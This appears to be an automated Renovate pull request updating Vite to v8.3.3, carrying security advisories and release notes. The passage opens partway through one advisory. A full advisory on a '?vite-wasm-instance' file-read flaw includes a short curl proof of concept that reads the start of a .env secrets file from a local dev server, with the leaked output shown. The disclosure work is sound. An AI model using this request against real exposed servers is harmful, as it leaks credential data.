(Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22](https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112946](https://nvd.nist.gov/vuln/detail/CVE-2026-112946) - [https://github.com/vitejs/vite/pull/23656](https://github.com/vitejs/vite/pull/23656) - [https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa](https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa) - [https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721](https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721) - [https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905](https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905) - [https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0](https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0) - [https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3](https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rq7h-c2jc-7f22) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance` [CVE-2026-112947](https://nvd.nist.gov/vuln/detail/CVE-2026-112947) / [GHSA-vfpm-58rq-9qcg](https://github.com/advisories/GHSA-vfpm-58rq-9qcg) <details> <summary>More information</summary> #### Details ##### Summary The first 4 bytes of files outside of `server.fs` setting can be returned to the browser by a request containing `?vite-wasm-instance`. ##### Impact Only apps that match one of the following conditions are affected: - explicitly expose the Vite dev server to the network using `--host` or the [`server.host`](https://vite.dev/config/server-options#server-host) option - there's a file that has a sensitive information in **the first 4 bytes** - uses Node.js or Deno to run Vite (if Bun is used, it is not affected) ##### Details Requests containing the `?vite-wasm-instance` query are handled by the internal Wasm plugin's `load` hook. The hook removes the query and reads the resulting path directly from disk, but the `server.fs` checks were not applied. After reading the file, Vite attempts to parse it as WebAssembly. When that parse fails, Node and deno throws an error that contains the first 4 bytes of the file. ##### PoC Create a denied file and start an affected Vite dev server: ```bash echo 'SECRET_KEY=abc123\n' > .env npm run dev curl 'http://localhost:5173/.env?vite-wasm-instance' ``` This will show ``` Failed to parse WASM file "<root>/.env": WebAssembly.compile(): expected magic word 00 61 73 6d, found 53 45 43 52 @+0 ``` #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-vfpm-58rq-9qcg](https://github.com/vitejs/vite/security/advisories/GHSA-vfpm-58rq-9qcg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112947](https://nvd.nist.gov/vuln/detail/CVE-2026-112947) - [https://github.com/vitejs/vite/pull/23655](https://github.com/vitejs/vite/pull/23655) - [https://github.com/vitejs/vite/commit/b6c6d2fb3f853aab4092dc25f0d6816a96c23dff](https://github.com/vitejs/vite/commit/b6c6d2fb3f853aab4092dc25f0d6816a96c23dff) - [https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73](https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vfpm-58rq-9qcg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v8.3.3`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-833-2026-10-06-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.3.2...v8.3.3) ##### Bug Fixes - **deps:** update launch-editor to v2.14.2 ([#&#8203;23654](https://github.com/vitejs/vite/issues/23654)) ([22fd1d5](https://github.com/vitejs/vite/commit/22fd1d5238cce2ee9db0eb4122f9e8feb6b06097)) - **html:** filename passed to transformIndexHtml should not include queries ([#&#8203;23653](https://github.com/vitejs/vite/issues/23653)) ([7dafd8e](https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17)) - **server:** check `fs.serve` for `?vite-wasm-instance` ([#&#8203;23655](https://github.com/vitejs/vite/issues/23655)) ([ba8b7ab](https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73)) - **server:** store ids to `safeModulePaths` rather than URLs ([#&#8203;23656](https://github.com/vitejs/vite/issues/23656)) ([c3e06f9](https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905)) ### [`v8.3.2`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-832-2026-10-01-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.3.1...v8.3.2) ##### Bug Fixes - **build:** preload CSS correctly when `renderBuiltUrl` returns URLs with queries ([#&#8203;23611](https://github.com/vitejs/vite/issues/23611)) ([64e0a21](https://github.com/vitejs/vite/commit/64e0a215c24f0522b27b91f93cfd93e317b94481)) - **bundled-dev:** serve lazy chunk sourcemaps ([#&#8203;23026](https://github.com/vitejs/vite/issues/23026)) ([eb7aa9a](https://github.com/vitejs/vite/commit/eb7aa9a8816a1e926d5d9b4cbe7e796b61314ce2)) - **bundled-dev:** serve the rolldown runtime from the installed rolldown ([#&#8203;23568](https://github.com/vitejs/vite/issues/23568)) ([bc598a6](https://github.com/vitejs/vite/commit/bc598a6a8a6b7d6e157e9f19c16911cff8d2360c)) - **deps:** update all non-major dependencies ([#&#8203;23601](https://github.com/vitejs/vite/issues/23601)) ([9944fa6](https://github.com/vitejs/vite/commit/9944fa6033873f13ae88f59e023ab642c50fee2b)) - **deps:** update rolldown-related dependencies ([#&#8203;23602](https://github.com/vitejs/vite/issues/23602)) ([88c1741](https://github.com/vitejs/vite/commit/88c17415af221b3a13e778f4f2c0e907c8287baf)) - **html:** resolve percent-encoded srcset urls ([#&#8203;23609](https://github.com/vitejs/vite/issues/23609)) ([53f1ce7](https://github.com/vitejs/vite/commit/53f1ce7bfe38426861f6da572ef0e3359f6a80cd)) - limit size of object and array printing via `forwardConsole` ([#&#8203;23565](https://github.com/vitejs/vite/issues/23565)) ([e64a587](https://github.com/vitejs/vite/commit/e64a5877dd3e552843a545749ccc257568917d28)) - merge `build.rolldownOptions.output.minify` correctly ([#&#8203;23536](https://github.com/vitejs/vite/issues/23536)) ([bba3bb8](https://github.com/vitejs/vite/commit/bba3bb8beedd185948956e02667d450672632d79)) - **optimize-deps:** avoid "unsupported" warnings for browser:false mappings ([#&#8203;23590](https://github.com/vitejs/vite/issues/23590)) ([5e4b9ca](https://github.com/vitejs/vite/commit/5e4b9ca3dcb24b51f58a765fd2d852614bbf3574)) - **optimizer:** preserve excluded optional peer require fallbacks ([#&#8203;23600](https://github.com/vitejs/vite/issues/23600)) ([a2bd6fa](https://github.com/vitejs/vite/commit/a2bd6fa897c35c8a691671a7d70061c1cdd5c688)) - pass queries to `renderBuiltUrl` ([#&#8203;23586](https://github.com/vitejs/vite/issues/23586)) ([744269e](https://github.com/vitejs/vite/commit/744269e5b2a155074910ddd275aecf2b83938496)) - **server:** handle file watcher errors without crashing ([#&#8203;23503](https://github.com/vitejs/vite/issues/23503)) ([6894f5c](https://github.com/vitejs/vite/commit/6894f5cbceac589536a0efb476d881a47f5ab1c5)) - **server:** release previous environments after initialization ([#&#8203;23499](https://github.com/vitejs/vite/issues/23499)) ([5a3a010](https://github.com/vitejs/vite/commit/5a3a010eea4c9ebbdcc080819f93068d4e035bd4)) - **ssr:** encode whitespace in module runner sourceURL ([#&#8203;23513](https://github.com/vitejs/vite/issues/23513)) ([bbc8812](https://github.com/vitejs/vite/commit/bbc88129c967a8b8eedebd93acc82bee63b86b2a)) - **worker:** align worker urls in client and server when using terser ([#&#8203;23614](https://github.com/vitejs/vite/issues/23614)) ([24bd331](https://github.com/vitejs/vite/commit/24bd3316f3b2503d04a49361e365532bdb335e19)) ##### Performance Improvements - avoid encoding intermediate source maps ([#&#8203;23461](https://github.com/vitejs/vite/issues/23461)) ([89574f6](https://github.com/vitejs/vite/commit/89574f6d940a7273a53c5122a4477285801a696a)) - **build:** avoid quadratic link scan in the preload helper ([#&#8203;23510](https://github.com/vitejs/vite/issues/23510)) ([cf5c028](https://github.com/vitejs/vite/commit/cf5c0288d526824aead1b24e977400f13c527927)) - only register time middleware when debug logging is enabled ([#&#8203;23621](https://github.com/vitejs/vite/issues/23621)) ([94d0080](https://github.com/vitejs/vite/commit/94d0080345e23d63d4cd02df2f7fa2afae775c26)) ##### Documentation - fix dead og-image PNG links in vite6/vite7 changelog entries ([#&#8203;23594](https://github.com/vitejs/vite/issues/23594)) ([1929b4c](https://github.com/vitejs/vite/commit/1929b4cc5f38ad53781e3b07b8bdaa32cf18da07)) ##### Miscellaneous Chores - **deps:** update vitest monorepo to v5 ([#&#8203;23604](https://github.com/vitejs/vite/issues/23604)) ([24339f4](https://github.com/vitejs/vite/commit/24339f4339d64fd8b5bc37654ac14ccff5aee584)) ##### Code Refactoring - use `tinyexec` instead of `cross-spawn` ([#&#8203;23583](https://github.com/vitejs/vite/issues/23583)) ([db915e5](https://github.com/vitejs/vite/commit/db915e5c0edbe1359dcf0cea340c9571dc7f4ad9)) ##### Tests - **bundled-dev:** accept a rolldown dev runtime with no helper imports ([#&#8203;23606](https://github.com/vitejs/vite/issues/23606)) ([634745d](https://github.com/vitejs/vite/commit/634745dcc5648912bc32cb4de72ed8dd2230efa0)) </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Amsterdam) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMTUuMTAiLCJ1cGRhdGVkSW5WZXIiOiI0NC4xMTUuMTAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyIsInNlY3VyaXR5Il19-->
Update dependency vite to v8.3.3 [SECURITY]
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